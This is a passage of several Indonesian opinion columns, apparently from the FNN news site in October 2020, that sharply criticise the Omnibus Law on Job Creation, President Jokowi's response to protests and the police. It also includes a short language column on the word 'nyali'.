sisi lain yang praktis. Tidak ada kata yang sungguh- sungguh mengekspresi, mewakili original intention pembentuk teks, law giver atau law makers. Itu kelemahannya, sehingga muncul paradigma penantang. Progresive paradigm muncul sebagai salah satu penantang produktif atas originlism paradigm. Paradigma ini, tidak memandang hukum sepenuhnya sebagai text dan hanya ada pada UU. Tidak begitu. Sebagai pantulan kombinatif dari hal-hal yang nyata terjadi dalam masyarakat, dan diabdikan untuk masyarakat, maka hukum harus dicari di tengah kehidupan masyarakat. Digunakan untuk mengenergizer masyarakat. Interpretasi tipikal ini, mengundang sanggahan hebat dengan argumentasi yang tak kalah mengagumkan. Misalanya, paradigma ini diidentifikasi sebagai instrumen korporat mengakali hukum untuk kepentingan mereka. Mereka menyodorkan para hakim sebagai hulu balangnya. Paradgima ini mengharuskan hakim pergi keluar dari teks hukum. Hakim keluar dari UU. Hakim diharamkan terpaku mati pada teks hukum. Cara ini, kata mereka, demi dan untuk keadilan sebanyak-banyak masyarakat. Bukan semua masyarakat. Dalam kenyataannya, pemeritahan tiranis menyukai dan mengandalkan paradigma ini memutar roda pemerintahan. Menjadi trade mark pemerintah totaliter. Paradigma ini membenarkan pemerintah menggunakan hukum sebagai tongkat pemukul bengis terhadap rakyat. Walau tidak selalu berbau komunistik, paradigm ini memungkinkan komunis bergerak masuk secara halus ke semua sudut kehidupan. Masuk dengan cara menjadikan hukum sebagai kuda manis tunggangannya. Dalam ilmu hukum, paradigma ini dikenal dengan progressivism. Dalam ilmu interpretasi ditransformasi menjadi judicial activism. Lawan tanding tangguh atas judicial restrain, khas Scalia. Mereka Sangat Bening Bodoh betul mengangap Guru Besar tidak mampu menganalogikan Omnibus Bills dengan code of act. Tidak ada ilmuan hukum yang tidak mengerti Omnibus mewakili lingkungan hukum anglo saxon. Disisi lain code of act (kitab UU semacam KUPH, KUH-Perdata Dagang, dan KUHAP) mewakili karakter hukum Eropa Kontinental. Undang-undang yang isinya meliputi banyak aspek, yang disebut Omnibus Bills atau law, memang bukan barang baru di dunia hukum. Kapan mulai dipraktikan? O’Brien and Bosc dalam kajiannya berjudul “Omnibus Bills in Theory and Practice “menyodorkan Amerika pada frontline penggunaan konsep ini. Profesor ilmu politik pada Laval University ini menunjuk tahun 1888 sebagai tahun awal penggunaan konsep itu. UU ini mengatur persetujuan pemisahan dua jalur kereta api. Disebabkan merupakan persetujuan dua korporasi yang bersifat privat, maka omnibus ini disifatkan sebagai private ominibus bill. Tetapi Profesor ini, mengakui pertama kali mendengar konsep ini tahun 1967. Ini ketika Pierre Trudeau, Menteri Kehakiman Canada merancang, sungguh sangat baru dan mengagumkan, landmark, mengamandemen hukum pidana. Hukum pidana baru ini berisi beragam materi. Materi Hukum pidana yang baru diamandemen itu meliputi, dalam kata-katanya, homosexuality, abortion, contraception, lotteries, gun ownership, drinking-and-driving penalties, harassing phone calls, regulated misleading advertising and even cruelty to animals. Jelas penalarannya. Ilmu hukum, yang diketahui para Guru Besar bahwa politik menjadi golden views pada pembahasan RUU. Materi yang mau diatur, sepenuhnya berdasarkan penilaian dan ekspektasi politik. Itu sebabnya, apa saja bisa diatur dalam satu RUU dan diputuskan menjadi UU. Ini terjadi di Irlandia, negeri dalam rumpun tradisi anglo saxon. Dalam Omnibus mereka yang belum lama diputuskan, berisi ragam hal, meliputi ribuan UU. Omnibus mereka mencabut ribuan undang-undang eksisting. Salahkah ini? Tidak. Pada titik ini, yang menjadi takarannya adalah politik, bukan hukum. Mengagungkan UU hanya berdasarkan namanya. Misalnya Omnibus Cipta Kerja, juga hal-hal umum yang ada didalamnya, jelas bukan pekerjaan ilmuan hukum. Menunjuk penyederhanaan proses perolehan izin usaha, yang dipropagandakan politisi sebagai hal mengagumkan dari UU sialan ini, tak mungkin diterima ilmuan hukum. Penyederhanaan izin, sama sekali tidak bermakna tidak perlu izin usaha. Izin usaha tetap ada. Izin harus diurusi oleh setiap pengusaha. Karena izin usaha tetap ada, maka semudah apapun prosedurnya, beralasan bila ilmuan hukum mengajukan hipotetis tentang kemungkinan terjadi hal buruk. Korupsi misalnya, pada saat mengurus izin. Ilmuan hukum tahu teks hukum. Yang didalamnya norma hukum dinyatakan, bersifat hipotetis. Norma hukum tidak dapat disamakan dengan kenyataan atau fakta. Norma hukum atau teks hukum, hanya mewakili kehendak pembentuknya, bersifat hipotetis. Bukan menggambarkan kenyataan faktual. Mengagungkan satu UU hanya, sekali lagi, berdasarkan judul UU itu, tak mungkin bukan merupakan pekerjaan konyol. Ini banyolan dahsyat. Ahli hukum tahu, korupsi disebabkan salah satunya teks hukum yang memiliki beragam makna. Teks yang memiliki ragam makna alias tak tunggal adalah panggilan terhadap korupsi. Teks yang memiliki ragam makna justru pencipta utama ketidakpastian hukum. UU Omnibus ini diwarnai dengan teks jenis ini. Sekadar ilustrasi, upah buruh yang dikaitkan dengan pertumbuhan ekonomi, misalnya. Bagaimana membaca teks itu? Pertumbuhan per semester, per triwulan atau per kwartal atau apa? Bodoh sekali bila berpendapat UU Omnibus menghapus PHK. Sekali lagi bodoh. Ahli hukum tidak akan bernalar seperti ini. Mereka tahu nalar itu mencerminkan kebodohan paripurna. Tidak ada pekerja, apapun pekerjaan itu, dimanapun, yang tidak bisa diberhentikan. Ahli hukum tahu semua pekerja bisa diberhentikan sebelum waktunya. Ini logis. Itu sebabnya ahli hukum akan menyelidiki syarat dan prosedur pemberhentian pekerja. Dari situ barulah ahli hukum tiba pada pernyataan kongklusif. Misalnya, pemberhentian kerja dipersulit atau dipermudah oleh UU Omnibus ini. Pembaca FNN yang budiman. Sejarah kelimuan secara umum merekam sejumlah fakta adanya ahli yang bertindak sebagai corong dan kaki tangan korporasi. Mereka melegitimasi sebuah gagasan pembentukan UU yang ditolak rakyat. Ini juga terjadi di Amerika. Terjadi sejumlah korporasi oligarki wall street menghendaki pembentukan UU Bank Sentral. Ilmuan ikut menyamarkan nama Bank Sentral itu menjadi The Federal Reserve Act. Praktris ilmuan ikut menyesatkan, mengakali masyarakat yang mati-matian menolak bank jenis ini. Kembali ke kasus UU Omnibus Cipta Kerja. Namanya oke, cipta kerja. Tetapi ilmuan hukum tahu betul nama ini bersifat hipotetik. Konsekuensinya tidak serta-merta terwujud. Alhamdulillah ilmuan hukum, bahkan ratusan dari mereka, tidak berenang di lautan politik busuk khas politisi picisan, licik, culas dan picik. Juga tidak mengikuti maunya korporasi oligarkis keleng-kaleng, odong-odong dan beleng-beleng. Alhamdulillah, ahli-ahli hukum dan Guru Besar lainnya di sejumlah kampus tidak ikut-ikutan mempropagandakan UU Omnibus, yang saya nilai sangat membinasakan ini. Alhamudlillah, mereka masih menempatkan nurani intelektualnya di jantung hidupnya. Bersyukur pada nurani mereka bening, sebening janji Allah Subhanahu Wata’ala yang akan mengangkat derajat merela orang-orang yang berilmu dan beramal lebih tinggi dari yang tidak berilmu dan tidak beramal. Allah Subhanahu Wata’ala juga akan membalas kebaikan dengan kebaikan. Alhamudlillah. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Negara "Sekarepmu Dewek” Pak Presiden

by M Rizal Fadillah Bandung FNN – Senin (12/10). Undang-Undang Omnibus Law Cipta Kerja bikinan Pemerintah mendapat reaksi keras masyarakat. Aspirasi rakyat menghendaki segera ada pembatalan atas Undang-Undang hantu dan kutilanak tersebut. Sebab Undang-Undang yang prosedur dan kontennya tidak adil, dan sarat kepentingan ini buruk secara filosofis, yuridis, dan sosiologis. Terburuk dalam sejarah perundang-undangan Negara Republik Indonesia. Akibatnya perlawanan datang tiak hanya dari para buruh, mahasiswa dan pelajar. Tetapi tantangan atas Undang-Undang ini datang juga dari ahli hukum dan ratusan Guru Besar puluhan Perguruan Tinggi di Indonesia Atas aksi-aksi penentangan baik oleh buruh, mahasiswa, cendekiawan, ormas keagamaan, maupun beberapa Kepala Daerah. Namun Presiden telah mengumumkan langkah dengan memberikan instruksi kepada Kapolri untuk bertindak tegas. Presiden juga melarang para Gubernur untuk menolak UU Cipta Kerja tersebut. Emangnya Gubernur anak buah Presiden ya??? Ada lagi tuduhan, bahkan penangkapan terhadap penyebar hoax RUU Cipta Kerja. Sementara RUU otentik yang ditetapkan oleh DPR pun tidak ada. Darimana Polisi bisa punya data, sehingga bisa menyatakan bahwa konten RUU yang disebarkan itu hoaks? Sementara sampai hari ini belum ditemukan draf RUU yang otentik dan absah pada saat pengesahan di sidang peripurna DPR. Ah, Presiden dan Polisi ada-ada saja. Kalau mau ngancam dan nakut-nakuti itu, yang berklas sedikitlah. Masa penetapan pidana kepada penyebar hoaks, namun UU Omnibus Law Cipta Kerja ini belum jelas wujudnya seperti apa? Tapi ya "sekarepmu" saja. Pokoknya suka-suka hati Presiden dan Polisi sajalah. Ada tiga hal penting bahwa Presiden telah bertindak "sekarep dewek", seolah-olah hanya dirinya sebagai pemilik negara . Pertama, apapun alasan, rakyat harus terima Omnibus Law ini. Karena dalihnya demi kepentingan penciptaan kerja. Lupa bahwa impor tenaga kerja asing adalah ikutan utama dari proyek produk Omnibus Law ini. Kedua, instruksi bertindak tegas dapat ditafsirkan oleh Polisi untuk bertindak keras, brutal, dan abai soal pelanggaran Hak Asasi Manusia (HAM) karena "demi menyelamatkan negara" versi instruksi Presiden. Lupa bahwa Polisi adalah alat negara. Bukan alat Pemerintah atau Presiden. Polisi itu pelindung, pengaman dan pengayom maysrakat. Bukan pembantai masyarakat. Ketiga, Gubernur atau Kepala Daerah tidak semata-mata kepanjangan tangan Pemerintah Pusat. Apalagi anak buah Presiden. Apa Presiden sudah lupa bahwa Gubernur dipilih oleh rakyat di Provinsinya. Bukan sebagai pembantu Presiden yang bisa disuruh-suruh. Presiden Jokowi tanpa disadari telah menerapkan prinsip Negara adalah Aku. Ini negara demokrasi berdasar "Kerakyatan yang Dipimpin oleh Hikmah Kebijaksanaan dalam Permusyawaratan/Perwakilan". Jadi no way otokrasi. Apalagi merasa kuasa sendiri. Tidak boleh "sekarepmu” pak Presiden. Harus diingat bahwa kekuasaan itu selalu berputar. Sekarang boleh saja di atas, tetapi besok juga di bawah. Sekarang mulia, besok bisa terhina lho. Allah Subhaanahu Watala mengingatkan manusia tentang kekuasaan itu pada saatnya akan berakhir juga. "Katakanlah (Wahai Muhammad) : Wahai Allah pemilik kekuasaan, Engkau berikan kekuasaan pada siapa pun yang Engkau kehendaki, dan Engkau cabut kekuasaan dari siapa pun yang Engkau kehendaki. Engkau muliakan siapa pun yang Engkau kehendaki, dan Engkau hinakan siapa pun yang Engkau kehendaki. Di tangan Engkaulah segala kebajikan. Sungguh Engkau Maha Kuasa atas segala sesuatu" (QS Ali Imron 26). Tidak percaya? Tidak beriman? Silahkan tunggu pembuktian. "Wantadhiruu Inna muntadhiruun". Dan tunggulah (akibat perbuatanmu). Sesungguhnya kami pun sedang menunggu. (QS Huud 122). Penulis dalah Pemerhati Politik dan Kebangsaan.

Konyol Kalau Bawa UU Omnibus ke MK

by Dr.Margarito Kamis SH. M.Hum Jakarta FNN – Senin (12/10). Dari namanya UU Omnibus Cipta Kerja, yang telah disahkan pada tanggal 5 Oktober 2020 lalu. Jangkauan materi muatannya mencakup 79 undang-undang, dengan 1.244 pasal ini, mengagumkan. Bahkan amat sangat mengagumkan. UU ini berambisi besar memberi kerja kepada 2,3 juta warga negara Indonesia, yang setiap tahun masuk ke pasar kerja. Bukan DPR, tetapi Presiden adalah pemrakarsa UU ini. Prakarsanya itu dinyatakan pada pidato pelantikannya untuk masa jabatan kedua. Ambisinya besar. Presiden hendak membawa bangsa ini berjaya pada tahun 2045. Kejayaan itu harus sudah mulai diproses dari sekarang. Hebat kan? Tidak Ada di Meja Paripurna Presiden, dengan segala hormat, jelas bukan sarjana hukum. Bahkan mungkin juga tidak memiliki pengetahuan hukum. Presiden tak terlatih berpikir ala yuris, think like juris seperti para guru besar hukum dan doktor, ahli hukum lainnya. Para guru besar dan ahli hukum di kampus-kampus yang terlatih bernalar menurut ilmu hukum, telah secara terbuka menolak UU Omnibus Cipta Kerja ini. Desakan mereka, ternyata tidak berbuah. Desakan dan deskan para demonstran, semuanya melayang ke angkasa. Berlau dalam kehampaan. Presiden tidak sudi memenuhi permintaan mereka. Presiden tak memilih pencabutan UU itu sebagai jawabannya. Presiden tetap di posisi politiknya melaksanakan UU. Presiden memang tidak mengatakan bahwa para Guru Besar, mahasiswa, buruh dan pelajar demonstran tersebut berotak udang. Jelas itu tidak. Presiden juga dipastikan tidak mengatakan para Guru Besar telah memperoleh informasi hoax terkait UU ini. Tetapi identifikasinya bahwa demontsran dirangsang, dipicu oleh informasi hoax. Ini terlihat sepertinya menyepelekan, untuk tak mengatakan Presiden telah mengidentifikasi para demonstran berotak udang. Celakanya, Preiden tak mampu menjelaskan secara detil pasal demi pasal UU ini. Untuk hal paling sepele, yakni draf UU yang hingga paripurna itu tak tersaji di meja. Jangankan anggota DPR, Ketua Fraksi pun tidak itu punya. Peristiwa ini tidak dapat dijelaskan oleh Presiden. Celakanya, Presiden menyodorkan hoax, disinformasi sebagai pemicu demonstrasi. Jangan begitu Pak Presiden. Permasalahan hukum apa yang disahkan Pak Presiden dan DPR? Mengesahkan hal yang hanya ada di kepala? Apakah Presiden sedang menciptakan tatanan baru pembentukan UU dalam ketatanegaraan berdasarkan UUD 1945? Apakah Pak Presiden hendak menjadikan Baleg sebagai organ baru menggantikan DPR? Apakah ekspresi DPR sebagai lembaga negara, sekarang diwakilkan kepada Baleg? Bukan pada rapat paripurna DPR? Ini ilmu apa Pak Presiden? Presiden harus diberi tahu perbaikan tipo, titik koma, bentuk huruf, itu bukan pekerjaan yang hanya sah secara konstitusi dilakukan dalam pembahasan. Bukan setelah disepakati paripurna Pak Presiden. Tahukah Presiden hukum ada pada setiap kata, bentuk huruf, rangkaian kata-kata dan tanda-tanda baca dalam pasal, ayat, dan huruf? Hukum apa yang dibekali kepada Presiden kala menyampaikan sikapnya, pada tanggal 9 Oktober, sehari setelah demonstrasi? Politik memang tidak sama dengan perang yang tidak bisa jauh dari gerak tipuan. Tetapi apa yang Presiden dapat sajikan kepada rakyat? Misalnya nalar dibalik konsep perhitungan upah buruh yang dipertalikan pada pertumbuhan ekonomi setiap daerah? Pak Presiden anak SD juga bisa baca teks UU. Tetapi mereka tak bakal mengerti nalar dibalik teks itu. Andai Presiden mau buka sedikit lembaran sejarah pembangunan republik tercinta ini, Presiden pasti akan menemukan rangkaian bukti lapuknya paradigma penciptaan lapangan kerja. Paradigma bersandar pada korporasi. Orde baru mengawali eksistensinya dengan cara pandang itu. Hasilnya? Pertumbuhan ekonomi hanya mengagumkan dan membesarkan segelintir korporasi. Presiden memang tidak bersentuhan dengan Orde Baru. Paradigma liberal klasik itu, sayangnya dihidupkan secar ugal-ugalan lagi pada saat ini. Paradigma itu bertransformasi menjadi metode korporasi memperbesar cengkeraman mereka atas seluruh tatanan bernegara. Sayang sekali Presiden tidak menenggelamkan nalarnya ke dalam falacy konsep itu. Menyedihkan betul. Dilarang Terpukau Presiden telah mendemonstrasikan sikapnya, entah demokratis atau angkuh dengan membuka diri, mempersilahkan warga negara yang jengkel dengan UU ini, membawanya ke MK. Hebatkah ini? Tidak. Ini malah payah. Mengapa? Orang-orang pintar tahu kalau mengikuti imbauan Presiden sama dengan membuat UU Omnibus Ciptaker yang sialan itu, tetap menjadi buih. Berada diatas permukaan ombak. Orang-orang pintar akan menemukan diri tenggelam dalam politik tak berkelas Presdien. Itu satu. Kedua, ke MK itu konsekuensi sistem ketatanegaraan eksisting. Dengan atau tanpa sikap Presiden, sistem bekerja dengan cara itu. Tidak bisa lain. Bawaan lautan adalah asin. Itu alamiah. Tanpa perlu digarami pun lautan tetap saja asin. Jadi untuk apa mempersilahkan rakyat membawa UU ini ke MK? Menyuruh orang ke MK, tetapi pada saat yang sama membuka dialog, jelas akan terlihat sebagai ejekan. Apa yang mau didialogkan setelah menjadi UU? Mau akomodasi gagasan baru ke dalam Peraturan Pemerintah dan Peraturan Presiden? Para Guru Besar akan merasa diakali. Mengapa? UU sudah disahkan. PP dan Perpres tidak bisa memuat norma yang tidak diperintahkan UU. Jadi apa faedahnya dialog? Pernyataan Presiden itu seperti menyuruh Guru Besar menjaring angin. Sudahlah, tak ada faedah untuk diratapi. Nestapa, suka atau tidak, sudah muncul menemani bangsa ini disepanjang jalan berliku dihari-hari mendatang. Marilah melihat pernyataan itu sebagai cara Presiden menghindar Perpu mencabut UU itu. Perpu pencabutan UU itu tak tersedia di meja kebijakan Presiden. Presiden mempersilakan siapapun membawa UU ini ke MK, dapat diduga mungkin dirangsang oleh pengetahuan kecilnya tentang preseden pasal tentang presdensial threshold pada UU Pilpres. Hantu blau ini tidak dikenal dalam pasal 6A UUD 1945. Ini ciptaan DPR dan Presiden, dan dibenarkan oleh MK. Jatuh hati pada sikap demokratis Presiden, terasa sama dengan terjatuh ke dalam parit dan gorong-gorong. Mengejarnya terasa sama dengan membentangkan pelangi dilangit usai ba’da Azhar. Mustahil. Sehebat apapun angkuhmu, mustahil kau bentangkan pelangi di langit ujung ba’da Ashar. Sudahlah, menjauhlah dari pergi ke MK. Jangan rindukan datangnya luka hati. Presiden, dapat diandaikan, tidak mengerti konsep unintended consequences atas hukum dalam pasal, ayat dan huruf. Terlalu berlebihan meminta Presien mengerti kenyataan sejarah yang dihasilkan dari konsekuensi itu. Amandemen ke-14 Konstitusi Amerika Serikat pada tahun 1868 usai perang saudara, sejenak terlihat mengagumkan. Amandemen itu tegas mengatur, dalam sifatnya konsolidasi prinsip kesamaan derajat untuk semua jenis subyek hukum. Untuk Amerika yang hebat. Apa yang terjadi sesudahnya? Aturan itu menjadi dasar korporasi diterima sebagai subyek hukum dalam sistem hukum Amerika sejak itu. Itulah konsekuensi tak dikehendaki unintended consequences. Mau apa? Begitulah hukum bekerja dalam alam demokrasi korporasi yang dipandu dengan hukum, nomokrasi urakan. Keuangkuhan Monster Mayoritas Terpukaulah dengan kenyataan yang disodorkan PKS dan Demokrat, yaitu tidak adanya UU yang disahkan itu diatas meja paripurna. Luka besar konstitusi ini, cukuplah diratapi, bila tak mampu tertawakan. Namun tak usah kecil hati dengan kenyataan konstitusional bahwa Presiden punya tiga hakim MK. Begitu juga DPR. Itu konstrain UUD 1945. Itu determinative, bukan indeterminative. Berbesar hati pulalah, sistem konstitusi di bawah UUD 1945 memungkinkan MK berkreasi menemukan argumen-argumen pembenar atas kenyataan sebusuk itu. Kreasi mereka tak bisa dikoreksi. Itu hebatnya sistem tata negara reformasi. Begitu MK membenarkan kenyataan busuk itu, maka terkunci, dalam arti terformalisasi sudah hal busuk itu. Putusan itu menjadi hukum dan tatanan bernegara dimasa datang. Itulah konsekuensi sistem. Konsekuensi lainnya? Dimasa depan sistem ketatanegaraan kita membenarkan Presiden dan DPR mengesahkan RUU tanpa rancangan final tersaji diatas meja anggota DPR dalam paripurna. Berbahaya memang, karena ini menjadi panggilan mengerikan hidupnya monster bernama keangkuhan mayoritas. Selalu ada waktu untuk kebenaran berbicara dengan cara yang tak dapat dilawan oleh penguasa sekaliber Fir’aun sekalipun. Hukum politik mengajarkan kebenaran selalu punya cara menyapa dan menggoyahkan, bahkan menggulung penguasa yang memonopoli semua aspek semau-maunya. Terpukau untuk pergi ke MK menguji UU ini, bisa jadi akan ditertawakan kera putih kecil. Sudah jatuh, tertimpa tangga pula. Tak usah menyusahkan diri sendiri. Meminta Perpu kepada yang terhormat Presiden mencabut UU ini, sekalipun terlihat sebagai hayalan, tetapi mungkin bisa diusahakan. Itu pilihan yang paling mungkin, dan satu-satunya. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Omnibus Law Hanya Obat Nyamuk, Bukan Kemenyan

by Salamuddin Daeng Jakarta FNN – Ahad (11/10). Kalau salah menempuh jalan yang dilalui, maka ekonomi pasti masuk jung. Kalau liberalisasi dan neoliberal bisa menyelamatkan ekonomi pemerintahan Jokowi, seharusnya paling tidak dalam enam tahun terakhir ekonomi sudah membaik. Mengapa yang terjadi sebaliknya? Ekonomi Indonesia di bawah Jokowi stagnan. Malah cenderung ke memburuk, dan semakin memburuk dari hari ke hari. Ternyata jalan yang di pakai para ekonomi dan pemikir ekonomi pemerintah Jokowi sudah tidak relevan lagi. Dunia sudah rame-rame meninggalkan leberalisasi dan neoliberal. Lalu mengapa pemerintah malah menggunakan jalan liberalisasi neoliberal Omnibus Law? Ternyata ini karena tukang keuangan Jokowi tak mengerti keadaan dunia saat ini. Masih hidup di bawah tempurung. Mereka pikir jalan liberalisasi neoliberal bisa menjadi kemenyan untuk jampi-jampi agar uang masuk. Ternyata liberalisasi neoliberal Omnibus Law ini hanya obat nyamuk asap. Asapnya banyak, dan hanya bisa untuk membuat sesak nafas. Para tukang ekonomi, keuangan, politik, dan sosial budaya yang ada di sekitar Jokowi sekarang umumnya adalah alumni krisis 98. Mereka tidak memiliki kemampuan dalam memahami tema baru yang tengah menggerakkan dunia saat ini. Isi kepala dan otaknya alumni 98 terpenjara dalam mainstream ideologi yang sudah tak relevan lagi dalam menganalisis dan memecahkan situasi yang tengah berlangsung. Sayangnya, mereka masih coba-coba juga untuk dipaksakan mazhab yang sudah lapuk dan usang itu. Bahkan alumni krisis 98 ini hanya memahami bahwa ilmu ekonomi ini adalah liberalisasi neoliberal macam Omnibus Law. Malah ilmu ekonomi mereka hanya seputar pada bagaimana memberikan dana talangan kepada perusahaan, bailout bank, Penyertaan Modal Negara (PMN), menutup defisit dengan hutang baru dan sejenisnya. Tidak lebih dari itu. Alumni krisis 98 ini hanya memahami bagaimana menimbun utang dan mengambil pajak rakyat. Target akhirnya untuk mempertahankan supremasi oligarki, korporasi dan konglomerasi licik, picik, tamak dan culas atas kekuasaan politik dan ekonomi. Tragisnya faham dan mazhab yang sudah lapuk dan usang ini dilakukan dengan bangga berulang-ulang. Mereka Alumni krisis ekonomi dan politik 98 ini hanya kaki tangan oligarki, korporadi dan konglomerasi busuk. Padahal kemampuan dan kredibilitas mereka tidak lebih dan istimewa. Bahkan hanya menjadi parasit negara. Memakan uang negara. Hidup dari proyek proyek pemerintah dan BUMN. Namun tampil di depan publik tepuk dada sebagai penyangga ekonomi negara. Sayangnya mereka sekarang, hmapir seluruhnya tidak lagi dipandang relevan oleh arsitektur keuangan global dalam menata masa depan. Oligarki, korporasi dan konglomerasi busuk, licik, picik, dan tamak ini malah dipandang dan diposisikan sebagai penyakit global saat ini. Kebaradaan mereka hendak disingkirkan dalam percaturan global. Sebab keberadaan mereka menjadi residu untuk sejarah manusia manusia. Uang mereka hilang, perusahaan mereka ambruk, institusi penopang mereka roboh. Mereka terjatuh seperti pelepah pohon kelapa kering. Pemerintahan Jokowi sekarang telah kehilangan kesempatan. Jalan yang ditempuh sudah menyimpang jauh dari tema perubahan saat ini. Tema utama yang tengah memaksa dunia untuk berubah. Tema yang datang menerjang tak bisa dihalangi oleh siapapun. Apalagi oligarki, korporasi dan konglomerasi Indonesia, yang selama ini terkenal busuk, picik, licik dan tamak. Dunia tampaknya memang lupa memberi nama tema yang tengah berlangsung. Dunia sekarang gigerakkan oleh tools utama, yakni transparansi dengan tiga elemen kunci, yaitu ICT, digitalisasi, financial technology. Selain itu, penghapusan uang kotor melalui Automatic of Exchange Information (AoI). Penghapusan uang ktor ini bekejasama dengan Mutual legal Assitance (MLA). Terakhir, penghapusan energi kotor, industri kotor melalui Conference Of The Parties (COP) 21 dan Covid 19. Inilah elemen yang akan menyapu bersih dunia faham dan mazhab liberalisasi dan neoliberal model Omnibus Law. Siapa yang bisa berselancar di atasnya, akan bisa sampai ke tepi lautan Hindia. Penulis adalah Peneliti Asosiasi Ekonomi Politik Indonesia (AEPI).

Serial Bahasa Indonesia: Apa Itu “Nyali”?

by Asyari Usman Jakarta FNN - Ahad (11/10). “Bahasa menunjukkan bangsa,” begitu kata pepatah. Pepatah ini sangat dalam. Dan juga tajam. Makna pepatah ini adalah bahwa bila seseorang menguasai basaha dengan baik –bahasa apa saja— maka pasti orang itu ada di strata yang baik pula. Bagus pikirannya dan bagus pula penyampaiannya. Baik itu penyampaian lisan maupun tulisan. Itulah yang disebut “bahasa menunjukkan bangsa”. Kita bisa tahu ‘siapa’ orang itu dari cara ia ‘berbahasa’. Salah satu kunci penting menuju ke makna pepatah ini adalah penguasaan bahasa dan kaidah-kaidahnya. Termasuklah penguasaan kosa kata (vocabulary). Nah, hari ini dan selanjutnya, saya ajak Anda untuk mencermati kosa kata. Kita akan bahas kata-kata yang kontekstual dengan waktu dan ruang. Rujukan utama pembahasan kita adalah Kamus Besar Bahasa Indonesia (KBBI). Ada edisi cetak, tapi bisa juga bebas dilihat secara daring (online). Sebagai permulaan, kita ambil kata “nyali”. Kata ini tentu sangat sering dipakai ketika orang berbicara tentang “keberanian”. Dan memang, salah satu arti “nyali” menurut KBBI adalah “keberanian”. Ada empat arti “nyali” yang dicantumkan oleh kamus besar ini. Cukup mengherankan. Karena, ada arti yang sama sekali tak tersambung dengan “keberanian”. Misalnya, KBBI meletakkan kata “empedu” sebagai arti pertama “nyali”. Kemudian, arti keduanya adalah “perasaan”. Ketiga, “keberanian”. Sedangkan arti yang keempat cukup panjang. Yaitu, “proliferasi lokal jaringan tumbuhan yang menghasilkan pembengkakan dengan bentuk khas dan amat berbeda dengan organ normal lain, biasa terbentuk sebagai responsi terhadap serangan patogen”. Nah, arti yang keempat ini “lebih parah” lagi. Silakan Anda cermati sendiri. Menurut hemat saya, “nyali” dalam arti “keberanian” adalah makna yang paling banyak dipahami orang. Dalam arti “empedu”, terus terang saya baru tahu juga. Begitu pula dalam arti “perasaan”. Apalagi arti yang keempat, yang sangat panjang itu. Untuk arti “keberanian”, KBBI membuat penjelasan ekstra tentang “nyali”. Kamus ini menerakan contoh-contoh pemakaian “nyali” dan “bernyali” (dengan imbuhan “ber-“). Menurut KBBI, “pecah nyalinya” berarti “hilang keberaniannya”. Sedangkan “bernyali” (kata kerja intransitif) berarti “mempunyai keberanian”. Tentu saja “keberanian” adalah sinomin dari “tidak ada rasa takut”. Kata kerja “bernyali” juga berarti “berani”. Dalam makna ini, KBBI menuliskan contoh pemakaian. Yaitu, “orang yang tidak ‘berani’ tidak dapat diajar berburu”. Kemudian ada contoh lain. Yakni, “bernyali besar” sama dengan berani; “bernyali kecil” sama dengan takut. Selanjutnya, kita lihat kata “nyali” dalam praktik. Ternyata, ada “nyali alsi” ada “nyali palsu”. Orang yang “bernyali asli” tidak akan pernah dirundung ketakutan. Dia selalu independen. Dia tidak perlu bergerombol untuk bernyali. Dia tidak perlu senjata dan alat proteksi untuk tampil berani. Sebaliknya, ada banyak orang yang “bernyali palsu”. Mereka memerlukan keberanian kolektif. Misalnya, mereka baru akan terlihat gagah ketika mereka ada di dalam gerombolan dan memiliki senjata. Plus alat pelindung yang lengkap. Ciri utama “nyali palsu” adalah suka mengeroyok mangsa. Sekali mengeroyok, mereka sangat beringas seperti hilang akal. Banyak yang menduga bahwa “nyali palsu” bisa dikobarkan dengan senyawa pembangkit adrenalin. Konon, sebutan jalanan untuk senyawa itu adalah narkoba. Sampai jumpa di pelajaran bahasa berikutnya. Penulis adalah Wartawan Senior FNN.co.id

RUU Omnibus Law Bikin Polemik, Presiden Sudah Baca?

by Mochamad Toha Jakarta FNN - Ahad (11/10). Pemerintah mulai menebar tudingan. Menteri Koordinator Bidang Perekonomian Airlangga Hartarto mengklaim, pemerintah mengetahui dalang yang menggerakkan demonstrasi memprotes Undang-Undang (UU) Cipta Kerja alias Omnibus Law. Melansir Viva.co.id, Kamis (8 Oktober 2020 | 10:10 WIB), hingga hari ini demonstrasi yang terjadi di berbagai wilayah saat ini terhadap UU Omnibus Law sapu jagat tersebut dilakukan mulai dari kalangan siswa, mahasiswa hingga buruh. “Sebetulnya pemerintah tahu siapa behind [di balik] demo itu. Jadi, kita tahu siapa yang telah menggerakkan. Kita tahu siapa sponsornya itu, kita tahu siapa yang membiayainya,” ungkap Airlangga secara virtual, Kamis, 8 Oktober 2020. Airlangga menekankan, pemerintah tidak akan berhenti memperjuangkan keberadaan UU tersebut karena berbagai alasan mendesak. Dia dengan tegas mengatakan tidak akan diam hanya untuk mendengar demonstrasi. “Jadi pemerintah tidak bisa berdiam hanya untuk mendengarkan mereka yang menggerakan demo dan jumlah federasi yang mendukung UU Ciptaker ada empat federasi buruh besar,” tegas mantan Menteri Perindustrian itu. Airlangga beralasan, itu disebabkan tujuh fraksi di DPR RI yang telah setuju mengesahkan UU Cipta Kerja, sudah merepresentasikan rakyat Indonesia. Sebab, mereka adalah wakil rakyat. Di sisi lain, 30 juta masyarakat Indonesia saat ini sangat membutuhkan lapangan pekerjaan. Terlebih kondisi Pandemi COVID-19 telah membuat lapangan kerja semakin sempit karena aktivitas ekonomi berhenti. “Jadi, ini terekam by name by address ada di kantornya kartu pra kerja dan dari 30 juta lebih itu yang sudah memenuhi persyaratan untuk memasuki pelatihan 5,6 juta sehingga 5,6 juta ini membutuhkan lapangan kerja baru,” ungkapnya. Sebelumnya diberitakan, sejumlah elemen masyarakat dan buruh menggelar aksi penolakan terhadap pengesahan Undang-Undang Cipta Kerja oleh DPR RI di sejumlah lokasi di Jakarta dan berbagai kota di Indonesia, sejak Senin lalu. Presiden Joko Widodo berkata, “Saya melihat adanya unjuk rasa penolakan UU Cipta Kerja yang pada dasarnya dilatarbelakangi oleh informasi mengenai substansi dari UU ini dan hoaks di media sosial,” ucap Jokowi. “Itu betul, ada banyak sekali hoax yang disebar soal UU baru ini. Entah siapa yang nyebar, apa kepentingannya, mereka tidak pakai cross check, langsung kirim saja. Kesal lihatnya,” komentar Tere Liye, penulis novel “Negeri Para Bedebah”. “Tapi kalau bilang ribuan pendemo ini semuanya demo gara-gara kemakan hoax, itu sih lebay. Kesal juga lihat yang ringan banget nuduh begini. Itu juga betul, ada 